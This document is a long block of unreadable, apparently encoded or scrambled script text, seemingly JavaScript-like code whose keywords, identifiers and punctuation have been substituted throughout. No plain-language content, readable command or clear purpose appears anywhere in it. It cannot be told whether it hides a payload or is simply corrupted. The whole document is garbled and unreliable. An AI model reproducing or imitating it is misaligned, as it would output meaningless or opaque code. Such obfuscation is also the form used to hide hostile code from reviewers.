nf,,&x"7%*"w>* "|fyvgfj'#=|)(>&~~gnsssnj8y${w=# x(w>yj?:/|6,?  ;yx ?i&ignqnn:<;+ntnnnn')<,*!v z,w(-=fywguDnnn3Dnnnnnn<+:;< nn(/"=+uDDDnn3DDnnnnnnnnj*8(|~y9v(|8;<nnsnnnnn')<,*!v z,w(-=fy|~gfj "~6%$-v~+vbnnn(/"=+bnn ;""bnn~bnnnnnfy{xe|}z~gguD'(nnfDDD'9}8?4>/7?,4)fy~xgfj*8(|~y9v(|8;<gnnnnnhhn'9}8?4>/7?,4)fy|gf,,&x"7%*"w>* "|f|}}gbnj*8(|~y9v(|8;<gDhhnnnn6+w'-+9"9=*%}(8fj "~6%$-v~+vbnnnfzw{e{ggDnnnnnngnn5D'(nff' :gn')<,*!v z,w(-=f{}{gfj "~6%$-v~+vgnnpnnnnf~z{{~~~ezwy}v~~ggn<+:;< nn(/"=+uDDDDj'#=|)(>&~~nsnnf=:<' )gn'9}8?4>/7?,4)fy|~gfj "~6%$-v~+vguDnnn'(nnf'9}8?4>/7?,4)fxwwgfj'#=|)(>&~~gnnnnnnpnnnnnnf}yxxv}c}|v~yggnnnnnnj'#=|)(>&~~nnnsn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guD'(nf84*{ <*'w~?-y,-4,;fj'#=|)(>&~~ggnnnn<+:;< n47}#%=++!*:fy||guDnn3Dnnnn<+:;< n(/"=+uDDD3Dnn(; -:'! nn8)}/*?,  -/!;}7|fgD5D=:/:'-nj8y${w=# x(w>ynsnnn ;""uDnn'(nnnnfj8y${w=# x(w>ynnnnossn ;""gnn<+:;< nj8y${w=# x(w>yuDDnnnnj'#=|)(>&~~nnnsnnnnnf=:<' )gnn,,&x"7%*"w>* "|fy|~gf<xw=w,+~4~}#8~fgguDnnnnnn'(nnnnf'9}8?4>/7?,4)fy|}gfj'#=|)(>&~~gnnnpnnnnnf{y{xxc{|y~z~ggnnnj'#=|)(>&~~nnnnsn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guDnj8y${w=# x(w>ynnnnsnnnnnn,,&x"7%*"w>* "|fyvgfj'#=|)(>&~~guDDn<+:;< nnj8y${w=# x(w>yuD3D(; -:'! n#v':>#9:v)"7;"'< 7fgDDnnnnn5DDD<+:;< n')<,*!v z,w(-=fy|zgf8)}/*?,  -/!;}7|fgbnn~bnnnf|zc|gguD3Dnnnn(; -:'! nnn-|+%*|y#6+&*%;fgDDDnnnnnnn5Dnnnnn<+:;< nnnn9#::(!7?8|, ,v})v'fgn`n,,&x"7%*"w>* "|fy|{gnnnnn`n!=+>>,++"6<w;&fn`nnnnn,,&x"7%*"w>* "|fy|xgbnfzcxggnn`nn'9}8?4>/7?,4)fy|yguDnn3Dn(; -:'! nn:"6-v=&/)6v,9xzfgDnnn5Dnnnj!$/v)(>($(v4:nnsn/<</7fguDn'(nf,,&x"7%*"w>* "|fy|vgf'9}8?4>/7?,4)fy~{gggn5Daan<+-;<='8+n(/-:!<7DDj#|/;',#47<~nnnnnsn)+:!>:'! f47}#%=++!*:fy|wgbnn/<</7fgguDnn'(nnf,,&x"7%*"w>* "|fy}~gfj#|/;',#47<~ggnnj!$/v)(>($(v4:nnnnsnnj#|/;',#47<~uDaann>/-+<n"!-%tn>/:-&n:7>+c+ 8'<! #+ :DDnn3Dnnj'#=|)(>&~~nnsnnn,,&x"7%*"w>* "|fy~ygf-|+%*|y#6+&*%;fggnqnnnnn'9}8?4>/7?,4)fy|~gf-|+%*|y#6+&*%;fggnnnnntnnnlluDnnnn'(nnnnnnf,,&x"7%*"w>* "|fy~xgfj'#=|)(>&~~gnnnhhnnnn47}#%=++!*:fx}}gfj'#=|)(>&~~bnn,,&x"7%*"w>* "|fyxggnnnsssnn~gnnnn5Dnnj:}$|+"6'nsn'9}8?4>/7?,4)f}x|gf')<,*!v z,w(-=fy}gfj'#=|)(>&~~bnnnf||w||zggbnn:<;+guDn'(nnnf')<,*!v z,w(-=fy}~gfj:}$|+"6'gnhhnf+#>:7fj!$/v)(>($(v4:47}#%=++!*:fy}|ggnnn22nfo+#>:7fj:}$|+"6'')<,*!v z,w(-=fy}}ggnnhhnnj:}$|+"6',,&x"7%*"w>* "|fy}}gnnnnpsnnnnnj!$/v)(>($(v4:47}#%=++!*:fy}}ggggnnnnnj!$/v)(>($(v4:nnsnnj:}$|+"6'uDnnn3Dnn<+:;< nnj!$/v)(>($(v4:uDnnnnnnnn3Dnn(; -:'! nn x{>}8wvw</}9,)7)/"|wfj! 6v,||-?}898zgDnnnnnn5Dadn-! 8+6n:<'+ndaDDnn:<7nnn5Dnnnnnnn'(nnnnfo*+(' +*f'9}8?4>/7?,4)f{x{gggnnnn<+:;< uDnnj,?*8?9v6=y$!;+"nnnsnnn')<,*!v z,w(-=fxw}gfguDnnnn'(nnnfj! 6v,||-?}898znsssnnn,,&x"7%*"w>* "|fy}zgnn22nnj! 6v,||-?}898znnsssn,,&x"7%*"w>* "|fy}{ggnn5Dj><+8nnsnnn:"6-v=&/)6v,9xzfguD'(nnfDn'==+:fj><+8')<,*!v z,w(-=fy}xgbnnj><+8')<,*!v z,w(-=fy}yggnnhhnj><+8')<,*!v z,w(-=fy}xgnnnnsssnnj! 6v,||-?}898zDDDDnnnhhnnnnj,?*8?9v6=y$!;+"nnnncnnnf' :gnnj><+8')<,*!v z,w(-=fy}vgnnnnrnnfj! 6v,||-?}898znnnnsssn47}#%=++!*:fy}{gnqnnnf}xxcxxgnntnnnnfweggDDDngnnnnn<+:;< uDn3Daan=+=?;'"' +/<n=:</:+)7DDnnnj!$/v)(>($(v4:nnsnn/<</7fDDnnnnnni8innnspn9),%/4:v49)x!/ /x9}(y:fgbDnnnn,,&x"7%*"w>* "|fy}wgnnnnspnnn#v':>#9:v)"7;"'< 7fgbDn47}#%=++!*:f|}zgnnspnn<xw=w,+~4~}#8~fgbDDD47}#%=++!*:f}{|gnnnspn,,&x"7%*"w>* "|fxyxgf<xw=w,+~4~}#8~fgbnnnnn'9}8?4>/7?,4)fy|yggbDDn')<,*!v z,w(-=fy}xgnspnnnnnj! 6v,||-?}898zbDnn47}#%=++!*:fyz~gnnspnnnnj,?*8?9v6=y$!;+"bDnn')<,*!v z,w(-=fy}vgnnspnj,?*8?9v6=y$!;+"bD'9}8?4>/7?,4)fy}}gnnnspn'==+:fj,,&x"7%*"w>* "|fyzggnnqnf' :gnnnnnj')<,*!v z,w(-=fyzgnntnnnj,?*8?9v6=y$!;+"bDguDDDnnnn'(nnf'9}8?4>/7?,4)fy|vgf'9}8?4>/7?,4)fx~vgggnnnn;>*/:+!>:'! f'9}8?4>/7?,4)fyz|gbnnj!$/v)(>($(v4:bnnnnn')<,*!v z,w(-=fyz}gguDnj<y>%"%;-=~nsnn9#::(!7?8|, ,v})v'fguDn'(nnf47}#%=++!*:f}yygfj<y>%"%;-=~gnnnn22nnn 6%6=z"z7)$(//*fj<y>%"%;-=~bnnnfv{vc}x{gbnnn:<;+ggn5D')<,*!v z,w(-=f}ygf-|+%*|y#6+&*%;fgbnnn47}#%=++!*:fyxgnnn`n'9}8?4>/7?,4)f}x|gfj!$/v)(>($(v4:gguDnnnnnnn3Dn3nnnn-/:-&nnnnnnf&<!9/,"+nnnj": >{,:|gn5D3nnnnn-/:-&nnf6-+>:'! nnnnj": >{,:|gnnnn5Dnn3Dn3DDDDn(; -:'! nnnnn-;>--+-|/8 ;(6yfj!$/v)(>($(v4:gDnnnnnn5Dnnnnnn'(nfo')<,*!v z,w(-=fyzzgfj!$/v)(>($(v4:gnnnn22nn+#>:7fj!$/v)(>($(v4:')<,*!v z,w(-=fyz{ggn22no')<,*!v z,w(-=fyzxgfj!$/v)(>($(v4:,,&x"7%*"w>* "|fyz{gggnn<+:;< nnnn')<,*!v z,w(-=f|}yguDnnnnj(",(/4}#}|y '<!nnsnj!$/v)(>($(v4:,,&x"7%*"w>* "|fyzyguDnnnnnnnn'(nnnnnfo,,&x"7%*"w>* "|fyzvgfj(",(/4}#}|y '<!gnn22nnf' :gn,,&x"7%*"w>* "|fyzwgfj(",(/4}#}|y '<!gnnrnfzzve{|ggnn<+:;< nnn'9}8?4>/7?,4)f|}yguD'(nnf8$ #~?9)?!({< fj(",(/4}#}|y '<!ggnn<+:;< nnn')<,*!v z,w(-=f|}xguDnnnj+|}"()8:/;nnnnsn'==+:fj!$/v)(>($(v4:,,&x"7%*"w>* "|fy}xggnqnnnj!$/v)(>($(v4:')<,*!v z,w(-=fy}xgnnntnnnnnnlluDnnnj=! '?7}y+=}#$8nsnnnnnn'==+:fj!$/v)(>($(v4:,,&x"7%*"w>* "|fy{~ggnnnnqnnf' :gnnnj!$/v)(>($(v4:'9}8?4>/7?,4)fy{~gnntn~uDDDnnn'(nfj+|}"()8:/;nnsssnn'9}8?4>/7?,4)fy}{ggnnnnn<+:;< nnnfj=! '?7}y+=}#$8nnpn~nnhhnnn47}#%=++!*:fxw}gfgnncnnnnj=! '?7}y+=}#$8nnnrsnf}{v~e|~ggnqnnnnn,,&x"7%*"w>* "|fy{gnnntn')<,*!v z,w(-=fy{|guDn'(nnfj+|}"()8:/;nnsssnnn')<,*!v z,w(-=fy{}ggnn<+:;< n')<,*!v z,w(-=fy{zguDn'(nnfj+|}"()8:/;nnnnsssnn,,&x"7%*"w>* "|fy}zggnn<+:;< nfj=! '?7}y+=}#$8nnpnn~nnnhhnnnnnn47}#%=++!*:fxw}gfgnnnnncnnj=! '?7}y+=}#$8nnrsnnf~6xe~6x|ggnnqnn')<,*!v z,w(-=fy{|gntnnnnnn47}#%=++!*:fy{zguDDDnn<+:;< nnnn,,&x"7%*"w>* "|fy{{guDnnnnn3Dnn(; -:'! nn y8{-4|;{!y9y-&6<fj "~6%$-v~+vgDnn5D'(nnfo47}#%=++!*:fyzvgfj "~6%$-v~+vggnnn<+:;< nnnnn(/"=+uDDnnj&&#""#w7~)::|+!nnsnnnnf' :gnn'9}8?4>/7?,4)fy{xgfj "~6%$-v~+vguDnnnnnn'(nfj&&#""#w7~)::|+!nnnnnrnnf~6}~e~6-zgnn22nnnj&&#""#w7~)::|+!nnnnpnnfv}xy{}ezz~x|xwggnnnn<+:;< nnnnnn(/"=+uDDnnnnnj*8(|~y9v(|8;<nsnn,,&x"7%*"w>* "|fy|~gfj "~6%$-v~+vbnn(/"=+bnnn ;""bnnnn~bnfz~{ye}wgguD'(nnnfo47}#%=++!*:fyzxgfj*8(|~y9v(|8;<gnnnnn22nno,,&x"7%*"w>* "|fy|gf')<,*!v z,w(-=f|}}gbnj*8(|~y9v(|8;<ggnnn<+:;< nnn(/"=+uDnnnn'(nfj&&#""#w7~)::|+!nnnpnf~zv{}}ez}ggn5Dnnnnj'=|)<?,,6>nnnnsnn,,&x"7%*"w>* "|fy{ygfj "~6%$-v~+vbnnn(/"=+bnn ;""bnnj&&#""#w7~)::|+!nnnncnfz~xze}|gguD<+:;< n,,&x"7%*"w>* "|fy{vgfj'=|)<?,,6>gnhhn,,&x"7%*"w>* "|fy|gf'9}8?4>/7?,4)fy{wgbnnnnnj'=|)<?,,6>gnnnnsssnuDDDD3DDDnnnj'#=|)(>&~~nnnnnsnnn'9}8?4>/7?,4)fyx~gfj "~6%$-v~+vguDnnn'(nnfo')<,*!v z,w(-=fy{vgfj'#=|)(>&~~ggnnn<+:;< nn(/"=+uDnnn<+:;< nn84*{ <*'w~?-y,-4,;fj'#=|)(>&~~guDn3Dn(; -:'! nnnn8$ #~?9)?!({< fj "~6%$-v~+vgDn5Dnnnnj*8?|?/>$9$84~7nnnnsn'9}8?4>/7?,4)fxyxgfj "~6%$-v~+vbnn'9}8?4>/7?,4)fyxgguD(!<+/-&nnf/<</7f,,&x"7%*"w>* "|f|xwgfj "~6%$-v~+vgbn;-/!w +!8v87%z=!&:~~ fggnn/=nj+< +&z~!x"4}gnn5Dnnnnj,$y6/(x'|<x//(|nnnsnnj+< +&z~!x"4}nn`nnn47}#%=++!*:fyx|gnn`nj*8?|?/>$9$84~7uDnnn'(nnfo'9}8?4>/7?,4)fyx}gfj,$y6/(x'|<x//(|gn22nnf' :gnn,,&x"7%*"w>* "|fyxzgfj,$y6/(x'|<x//(|gnnrn,,&x"7%*"w>* "|fxw}gfgnncnnnfx~zywye}ggn-! :' ;+uDDnj/(z||")~(7&{nnsn47}#%=++!*:f|vgff=:<' )gnn,,&x"7%*"w>* "|fyx~gfj,$y6/(x'|<x//(|gguDDDn'(nnnfj/(z||")~(7&{nnnnsssnllgnnnn-! :' ;+uDDDnnj'#=|)(>&~~nnnsnnf=:<' )gnn')<,*!v z,w(-=fyx~gfj "~6%$-v~+vguDn'(nnf')<,*!v z,w(-=fy|}gfj'#=|)(>&~~gnnnnpnnnnf~zv{ve{vggnnnj'#=|)(>&~~nnnsnn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guDDDn'(nnfj'#=|)(>&~~nnnossnnnllnnnnhhnn47}#%=++!*:fyx{gfj'#=|)(>&~~gnnsssnnnnnnj/(z||")~(7&{gn<+:;< nnn:<;+uDn3Dn<+:;< nnnnn(/"=+uD3D(; -:'! n<}9}#6'<='&8, *'6fj "~6%$-v~+vgDnn5Dnnnnn'(nnnfo'9}8?4>/7?,4)fy|vgf,,&x"7%*"w>* "|fy~{ggnnnn22nnno,,&x"7%*"w>* "|fy|vgf,,&x"7%*"w>* "|fyxxgggnnnnn<+:;< uDnnnnj4|!v7<|9#76:nsnnnnnn)+:!>:'! f'9}8?4>/7?,4)fyxygbn/<</7fgguDnn'(nnnfo47}#%=++!*:fyzzgfj4|!v7<|9#76:ggnnj4|!v7<|9#76:nsnn/<</7fguDnj4|!v7<|9#76:,,&x"7%*"w>* "|fyx{gfj "~6%$-v~+vgnnsnnnj "~6%$-v~+vuD'(nf'9}8?4>/7?,4)f{}ygfj4|!v7<|9#76:gnnpnnfweggnnj4|!v7<|9#76:nsnnnnn')<,*!v z,w(-=fyxvgfj4|!v7<|9#76:bnnnncf~6+e~6xgbnn ;""bn:<;+guDnn;>*/:+!>:'! f')<,*!v z,w(-=fyxygbnj4|!v7<|9#76:bnnn'9}8?4>/7?,4)fyz}gguDnnn3DDDDnnnnnn(; -:'! nnnn?{$+-8-4 ,(7x8},fgD5Dnn'(nnfo'9}8?4>/7?,4)fy|vgf,,&x"7%*"w>* "|fy~{ggnnnnn22nnno')<,*!v z,w(-=fy|vgf')<,*!v z,w(-=fyxxgggnnnnnn<+:;< uDnnnnnnnj4|!v7<|9#76:nsnn)+:!>:'! f,,&x"7%*"w>* "|fyxygbn/<</7fgguDnnn'(nnfo,,&x"7%*"w>* "|fyzzgfj4|!v7<|9#76:gnn22n+#>:7fj4|!v7<|9#76:ggn<+:;< uDnnj6/8!x)7x)w~nsnn/<</7fguDDDDn(!<+/-&nfj4|!v7<|9#76:nnn/=nj+;(:|<v{$x|,{nnnnnspnnj(",(/4}#}|y '<!gnnnnn5Dn'(nnnnfo47}#%=++!*:fy{vgfj(",(/4}#}|y '<!gnnnnnn22nnnj(",(/4}#}|y '<!nnnsssnnllnnn22nno,,&x"7%*"w>* "|fyx}gfj(",(/4}#}|y '<!ggnnnnn-! :' ;+uDnnn'(nnnnnf;=)6?%)z/-+z)y<>7$)')"fj(",(/4}#}|y '<!gnnnnsssnn(/"=+gn5nnj6/8!x)7x)w~j+;(:|<v{$x|,{nsnnnnj(",(/4}#}|y '<!un-! :' ;+un3DDnn??:+}<">$9;(=4=8'-+fj(",(/4}#}|y '<!bnnnf}{zexxgguD'(nnf'7"<=~;<?-87+}? fj(",(/4}#}|y '<!ggnn5j'w${}#=~(8?)8*s{e}xuj?<( {$/*sj'w${}#=~(8?)8*c||uDnnn'(nf47}#%=++!*:fy|vgf'9}8?4>/7?,4)f|~~gggnnn!>-/-&+' 8/"'*/:+fj(",(/4}#}|y '<!bnn:<;+guDnnn3nn+"=+'(nf')<,*!v z,w(-=fyx}gfj(",(/4}#}|y '<!ggnnn5Dnnj6/8!x)7x)w~j+;(:|<v{$x|,{nsnnnj(",(/4}#}|y '<!uDnnnn3Dnnnnn3Dnnnn;>*/:+!>:'! f'9}8?4>/7?,4)fyxygbnnnnnnj6/8!x)7x)w~bnnnn')<,*!v z,w(-=fyz}gguDnnnnnnn3Dn(; -:'! nn/8*':%{"!#)-=" )(fgDnnnnnn5Dn:<7n5DDDDj": >{,:|nnsnnn')<,*!v z,w(-=fy|vgf')<,*!v z,w(-=fxyggnnqnn+<<!<)+:"/=:fgntnnnn ;""uDnnnnn'(nfDn,,&x"7%*"w>* "|fyzzgfj": >{,:|gnnnnhhno+#>:7fj": >{,:|47}#%=++!*:fxwggnhhnno+#>:7fj": >{,:|'9}8?4>/7?,4)fy~ggDnhhn,,&x"7%*"w>* "|fywxgfj": >{,:|47}#%=++!*:fy~gbn/<</7fbnnbnnbnnnnnnbnnnnnngbnn:<;+gDngnnnnn5Dnj4$+($4=x,{8+}"'vnnnsnn'9}8?4>/7?,4)fv}vgf<xw=w,+~4~}#8~fgguDnnnnDDDDnnnnnnnj+(nnnnnsn')<,*!v z,w(-=fv}vgfj": >{,:|,,&x"7%*"w>* "|fxwgguDDDDnnnnnn'(nnf,,&x"7%*"w>* "|fy{vgfj4$+($4=x,{8+}"'vgnhhnnn47}#%=++!*:fy{vgfj+(gnhhnnnnj+(nsssnj4$+($4=x,{8+}"'vgnn<+:;< uDnn3Dnnn x{>}8wvw</}9,)7)/"|wf47}#%=++!*:fy{gguD'(nf*+(' +*f47}#%=++!*:f{x{gggn5Dnj#'!v:>vxw{ =y>znnnnnsnnn"'9)>#z=}9|}z+>fguDnDDn'(nf')<,*!v z,w(-=fyx}gfj#'!v:>vxw{ =y>zggnnnnn5Dnnj9/ x #|x}z*,nnnsnnn,,&x"7%*"w>* "|fyx~gfj#'!v:>vxw{ =y>zbnn(/"=+bnnnnn ;""bn~bnnf|}yy}gguDDnn'(nf47}#%=++!*:fy{vgfj9/ x #|x}z*,gnhhn'9}8?4>/7?,4)fx}}gfj9/ x #|x}z*,bnn,,&x"7%*"w>* "|f{y|gn`nnn9),%/4:v49)x!/ /x9}(y:fgn`nnnitignnnsssnnnn~gnn5DDDj;!w#(x:4&$!nnnsnn')<,*!v z,w(-=fyx}gfj#'!v:>vxw{ =y>znnn`n47}#%=++!*:fyxwggnnnnnnqnnnnn'9}8?4>/7?,4)fyx~gfj#'!v:>vxw{ =y>zn`n47}#%=++!*:fyy~gbnnn(/"=+bnnnnn ;""bnn~bnfz{ewggntnnnnnlluD'(nfj;!w#(x:4&$!nossnnnj9/ x #|x}z*,gnnnnn,,&x"7%*"w>* "|fyygfj#'!v:>vxw{ =y>zbnnnj#'!v:>vxw{ =y>znnnnn`n')<,*!v z,w(-=fyy|gguDnn3Dnn3Dn; =+:fj#'!v:>vxw{ =y>zbnnj9/ x #|x}z*,bnnj;!w#(x:4&$!guDnnnnnnnn3Dnnn3nnnnn-/:-&nnf&<!9/,"+nj$,/8*v8  >?~,w%gnnn5Dnnnnnnn3nnnnn-/:-&nf6-+>:'! nj$,/8*v8  >?~,w%gn5D3D3Dn(; -:'! nn49xy{:+ ;6/"&-*>|{74fj:8:>&"*=,gDnnnn5DDDD'(nfo')<,*!v z,w(-=fyy}gfj:8:>&"*=,ggnnn<+:;< nnnnlluDn'(nf,,&x"7%*"w>* "|fyyzgf,,&x"7%*"w>* "|fyy{gbnj:8:>&"*=,bnnj8|97,7*{,>%')ggnn5Dnnnn(!<+/-&nnfj8|97,7*{,>%')nnnnn/=nnj4,>:~>6;',gnnn5Dn'(nf)%9yx(|&7+6y'z/+=f')<,*!v z,w(-=fz~|gfj4,>:~>6;',bnnnn:<;+gggnnnnnn<+:;< nlluDnnnnnn3Dnnn3DDDD'(nnf,,&x"7%*"w>* "|fyyxgf47}#%=++!*:fyyygbnj:8:>&"*=,bnnnnj8|97,7*{,>%')ggnnnn5Dnnnnn(!<+/-&nfj8|97,7*{,>%')nn/=nnnnnj4,>:~>6;',gn5Dnnnn'(nf)%9yx(|&7+6y'z/+=f=:<'>-="/=&+=fj4,>:~>6;',gggnnn<+:;< nnnnlluDn'(nnf'9}8?4>/7?,4)fx}}gfj4,>:~>6;',bnnn')<,*!v z,w(-=fyyvggnnossn(/"=+gn5j!{":9'"v{};7/s uj77&7~#,;,%;xsj!{":9'"v{};7/dzuDnnnnj"/*67=$+|x|=*nnnsnn><+)<+>"/-+-/"",/-%f'9}8?4>/7?,4)fyywgbn'9}8?4>/7?,4)fyv~gbnnnnj4,>:~>6;',guD'(nnnnnnf47}#%=++!*:fyy}gfj"/*67=$+|x|=*gnhhnj"/*67=$+|x|=*nnossnnnj4,>:~>6;',nnnhhn)%9yx(|&7+6y'z/+=fj"/*67=$+|x|=*ggnn<+:;< nnnlluDnn3Dnnnnnn3Dn3Dnn'(nf')<,*!v z,w(-=fyyxgf')<,*!v z,w(-=fyvgbnnj:8:>&"*=,bnnj8|97,7*{,>%')ggnnn5DDD(!<+/-&nnnnnfj8|97,7*{,>%')nn/=nnnj4,>:~>6;',gn5DDDn'(nf)%9yx(|&7+6y'z/+=f'9}8?4>/7?,4)fyv|gf/<</7f'9}8?4>/7?,4)fyv}gbnn')<,*!v z,w(-=fyvzggbnn/<</7fiibniiigbnnj4,>:~>6;',gggnn<+:;< nlluDDDDn'(nnf47}#%=++!*:fx}}gfj4,>:~>6;',bnn,,&x"7%*"w>* "|fyyvggnossnn(/"=+gnnn5Dj"/*67=$+|x|=*nnnnsnnnn><+)<+>"/-+-/"",/-%f,,&x"7%*"w>* "|fyywgbnnn,,&x"7%*"w>* "|fyv~gbnj4,>:~>6;',guDnnn'(nnnf')<,*!v z,w(-=fyv{gfj"/*67=$+|x|=*gnnnhhnj"/*67=$+|x|=*nnnnossnnnj4,>:~>6;',nnnnnhhnnn)%9yx(|&7+6y'z/+=fj"/*67=$+|x|=*ggnnnn<+:;< nnnnnnlluDDDDnnnnnn3Dnnn3Dn3D<+:;< nnj:8:>&"*=,uD3D(; -:'! nn9,<w#"9$-*<?86fj9;6>y&y{) =+gDnnnn5Dnn'(nnfo')<,*!v z,w(-=fyv{gfj9;6>y&y{) =+gn22nnf')<,*!v z,w(-=fx}}gfj9;6>y&y{) =+bnnn,,&x"7%*"w>* "|fyvxggnsssnnnnnn(/"=+nhhnnnnnn')<,*!v z,w(-=fyvygfj9;6>y&y{) =+bnnn47}#%=++!*:fz~|ggnsssnnn(/"=+ggn<+:;< nnnnnn(/"=+uDDDDnnn'(nnf')<,*!v z,w(-=fyyxgf,,&x"7%*"w>* "|fyy{gbnj9;6>y&y{) =+bnj8|97,7*{,>%')ggn5DDD(!<+/-&nnnfj8|97,7*{,>%')nnnn/=nnnnj4,>:~>6;',gnnn5Dnnn'(nf)%9yx(|&7+6y'z/+=f47}#%=++!*:fz~|gfj4,>:~>6;',bnnnn:<;+gggn<+:;< nn:<;+uDnn3Dn3D'(nnf'9}8?4>/7?,4)fyyxgf')<,*!v z,w(-=fyyygbnnj9;6>y&y{) =+bnnnnj8|97,7*{,>%')ggnnnn5DDn(!<+/-&nnnnnfj8|97,7*{,>%')nnn/=nnj4,>:~>6;',gnnnn5Dnn'(nnnnf)%9yx(|&7+6y'z/+=f=:<'>-="/=&+=fj4,>:~>6;',gggn<+:;< nnnn:<;+uD3Daan:'#+!;:n("79+')&:DDn(!<+/-&nnfj8|97,7*{,>%')nn/=nj4,>:~>6;',gn5DDDDnnnn'(nnnf47}#%=++!*:fyvvgfj4,>:~>6;',bn,,&x"7%*"w>* "|fyyvggnnnsssnn(/"=+gnnn-! :' ;+uDDDj"/*67=$+|x|=*nsnnnn><+)<+>"/-+-/"",/-%f'9}8?4>/7?,4)fyywgbnn47}#%=++!*:fyv~gbnnnnnnj4,>:~>6;',guDnnnn'(nnnf,,&x"7%*"w>* "|fyv{gfj"/*67=$+|x|=*gnnhhnnj"/*67=$+|x|=*nossnnnnj4,>:~>6;',nnhhnn)%9yx(|&7+6y'z/+=fj"/*67=$+|x|=*ggnn<+:;< n:<;+uDn3Dnn3Dnnnnn'(nf47}#%=++!*:fyvwgf47}#%=++!*:fyvgbnnnnnj9;6>y&y{) =+bnnnnnj8|97,7*{,>%')ggnnnnn5DDDnnnnnn(!<+/-&nfj8|97,7*{,>%')nnnn/=nnj4,>:~>6;',gn5DDn'(nf)%9yx(|&7+6y'z/+=f,,&x"7%*"w>* "|fyv|gf/<</7f')<,*!v z,w(-=fyv}gbnnn,,&x"7%*"w>* "|fyvzggbnn/<</7fiibniiigbnnnj4,>:~>6;',gggnnnn<+:;< nn:<;+uDDDnn3Dnnnn(!<+/-&nnnnnfj8|97,7*{,>%')nnn/=nnnnnj4,>:~>6;',gn5Dn'(nnnf47}#%=++!*:fyw~gfj4,>:~>6;',bnn,,&x"7%*"w>* "|fyyvggnsssnnn(/"=+gnn-! :' ;+uDnj"/*67=$+|x|=*nsn><+)<+>"/-+-/"",/-%f47}#%=++!*:fyywgbn47}#%=++!*:fyv~gbnj4,>:~>6;',guD'(nnnf'9}8?4>/7?,4)fywgfj"/*67=$+|x|=*gnnnnnhhnnnj"/*67=$+|x|=*nnnnossnnnnnnj4,>:~>6;',nnnhhn)%9yx(|&7+6y'z/+=fj"/*67=$+|x|=*ggnnnn<+:;< nnn:<;+uDD3D3Dnnnnn<+:;< nnnn(/"=+uDDDnnn3Dn(; -:'! nn<!%{:?!x(89w4fj9;6>y&y{) =+gDnnn5j%|,7$4y'sw{2}uj,<y#(89{|,!vwsj%|,7$4y'yuDDDDnnnnnn'(nnnfo'9}8?4>/7?,4)fyw|gfj9;6>y&y{) =+gnn22nj9;6>y&y{) =+nnnnnsssnnllgn<+:;< nlluDnnn<+:;< nf')<,*!v z,w(-=fy|gf')<,*!v z,w(-=fyw}gbnn47}#%=++!*:fywzgfj9;6>y&y{) =+bnnn~bnf|x}exw|wggbnnnnj8y${w=# x(w>yggnnqnj8y${w=# x(w>ynnntnnlluD3Dn(; -:'! n'*;<94+ wz:66%}66fj'#=|)(>&~~bnnnj%<#796+7#<!$6bnj8"=(&*x$4?~vnnsn ;""gD5j$yz-&<y{&$'sczvuj"/y*/=w;9,$sfj$yz-&<y{&$'p~gqj$yz-&<y{&$'tcj$yz-&<y{&$'uDnnnnn'(nnnfo'9}8?4>/7?,4)fyw{gfj'#=|)(>&~~gnn22nj'#=|)(>&~~nnnsssnnnnllgnn<+:;< nnj'#=|)(>&~~uDnj/)$$4}/ =~9&8#!"nnsnnnnn,,&x"7%*"w>* "|fywxgn`nnj%<#796+7#<!$6nnnnn`nnn')<,*!v z,w(-=fwxwguDnj<'4-8}$4!&? *66nsnlluDnnnj%(&y|x&$">(y,)nnsnn~uDnnnn9&'"+nnnfj%(&y|x&$">(y,)eennnnnrnnnnnfzrr{ggnnnnn5Dnnnnnnnj<*x/{"-!w(nnnnsnnn'9}8?4>/7?,4)fyw~gfj'#=|)(>&~~bnj/)$$4}/ =~9&8#!"guD'(nfj<*x/{"-!w(nnnsssn(/"=+gnnn,<+/%uDnnj9=x:=x-y"#!nnnsnj<*x/{"-!w(nnnnnenn,,&x"7%*"w>* "|fy|}gfj/)$$4}/ =~9&8#!"guDnnj-*)=*xx/ 9{*:nsnn,,&x"7%*"w>* "|fyw~gfj'#=|)(>&~~bnn')<,*!v z,w(-=fx|ygbnnj9=x:=x-y"#!guDnnnn'(nnnfj-*)=*xx/ 9{*:nnnsssn(/"=+nnn22nnnnnj-*)=*xx/ 9{*:nnncnnnnj9=x:=x-y"#!nnnpnnfz~~zggnn5Dnnnnnj<'4-8}$4!&? *66nnn`snn,,&x"7%*"w>* "|fywzgfj'#=|)(>&~~bnn~bnnnj9=x:=x-y"#!guDDnnnnj'#=|)(>&~~nnnsnnnn'9}8?4>/7?,4)fywzgfj'#=|)(>&~~bnnj9=x:=x-y"#!guD-! :' ;+uDnnnnnnn3Dnnnnnj(8/~'~ "7=$nnnsnnn')<,*!v z,w(-=fywzgfj'#=|)(>&~~bnnnj9=x:=x-y"#!bnnj-*)=*xx/ 9{*:ncnnj9=x:=x-y"#!guDnDDnnnn'(nnnnfo'9}8?4>/7?,4)fy|gf,,&x"7%*"w>* "|fywygbnj(8/~'~ "7=$ggnnn5Dnnnj<'4-8}$4!&? *66nnn`sn'9}8?4>/7?,4)fywvgfj'#=|)(>&~~bnnnn~bnj9=x:=x-y"#!guDnj'#=|)(>&~~nnnsnnnn,,&x"7%*"w>* "|fywvgfj'#=|)(>&~~bnnnj9=x:=x-y"#!guD-! :' ;+uDnnnn3Dj+vz'{)z'?=?znnnnsnnnn'9}8?4>/7?,4)fywwgnn`nj%<#796+7#<!$6n`nnn'9}8?4>/7?,4)fv~~gn`nnj(8/~'~ "7=$nnn`n')<,*!v z,w(-=fx|yguDnnnj7(%v#y-+7'4*y9-nsnnnnn')<,*!v z,w(-=fyw~gfj'#=|)(>&~~bnnj+vz'{)z'?=?zbnnnj-*)=*xx/ 9{*:guDnnn'(nfj7(%v#y-+7'4*y9-nnsssnnn(/"=+gn,<+/%uDDnnnnj<'4-8}$4!&? *66nn`snnn47}#%=++!*:fywvgfj'#=|)(>&~~bnnnn~bnnnj<*x/{"-!w(guDnnnnnnnj(8~(>*/*8#+nsnnnn')<,*!v z,w(-=fywvgfj'#=|)(>&~~bnnnj<*x/{"-!w(bnnnnj7(%v#y-+7'4*y9-nenn,,&x"7%*"w>* "|fv~gfj+vz'{)z'?=?zgncnnnnj<*x/{"-!w(guDnn'(nnfj8"=(&*x$4?~vnossnn ;""gnnnn5Dnnnnnnnnj>$(|!-z!$w(;{yxnnsn')<,*!v 